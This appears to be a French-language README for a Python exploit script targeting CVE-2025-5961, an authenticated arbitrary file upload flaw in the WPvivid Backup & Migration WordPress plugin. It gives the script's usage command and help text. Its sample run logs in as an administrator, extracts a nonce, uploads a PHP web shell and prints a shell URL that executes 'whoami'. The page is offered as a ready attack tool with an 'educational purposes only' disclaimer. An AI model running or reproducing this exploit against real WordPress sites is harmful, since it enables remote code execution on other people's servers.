
Migration, Sauvegarde, Staging – WPvivid Backup & Migration <= 0.9.116 - Authentifié (Administrateur+) Téléchargement de fichier arbitraire
📈 Cette vulnérabilité affecte un plugin avec plus de 700 000+ installations
Le plugin Migration, Backup, Staging – WPvivid Backup & Migration pour WordPress est vulnérable au téléchargement arbitraire de fichiers en raison de l'absence de validation du type de fichier dans la fonction wpvivid_upload_import_files dans toutes les versions jusqu'à 0.9.116 incluse.
Cela permet aux attaquants authentifiés (niveau Administrateur et supérieur) de télécharger des fichiers arbitraires sur le serveur, ce qui permet potentiellement l'exécution de code à distance.
Ce dépôt contient un script d'exploitation pour CVE-2025-5961, écrit en Python, qui :
python3 CVE-2025-5961.py -u http://target/wordpress -un admin -p password123
$ python3 CVE-2025-5961.py -h
usage: CVE-2025-5961.py [-h] -u URL -un USERNAME -p PASSWORD
CVE-2025-5961 Exploit by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL
-un, --username USERNAME
Admin username
-p, --password PASSWORD
[+] Checking plugin version...
[+] Detected plugin version: 0.9.116
[+] Target is vulnerable. Continuing exploit.
[+] Logging in to http://target/wordpress...
[+] Logged in successfully.
[+] Fetching WPvivid page to extract nonce...
[+] Extracted nonce: 502d5dce0e
[+] Uploading shell...
[+] Exploit succeeded!
[+] Shell URL: http://target/wordpress/wp-content/wpvividbackups/ImportandExport/shellnxploited.php?cmd=whoami
Exploit By: Khaled Alenazi (Nxploited) - https://github.com/Nxploited/
Ce script est fourni uniquement à des fins éducatives et de recherche.
L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par cet outil.
Khaled Alenazi (Nxploited)
🌐 GitHub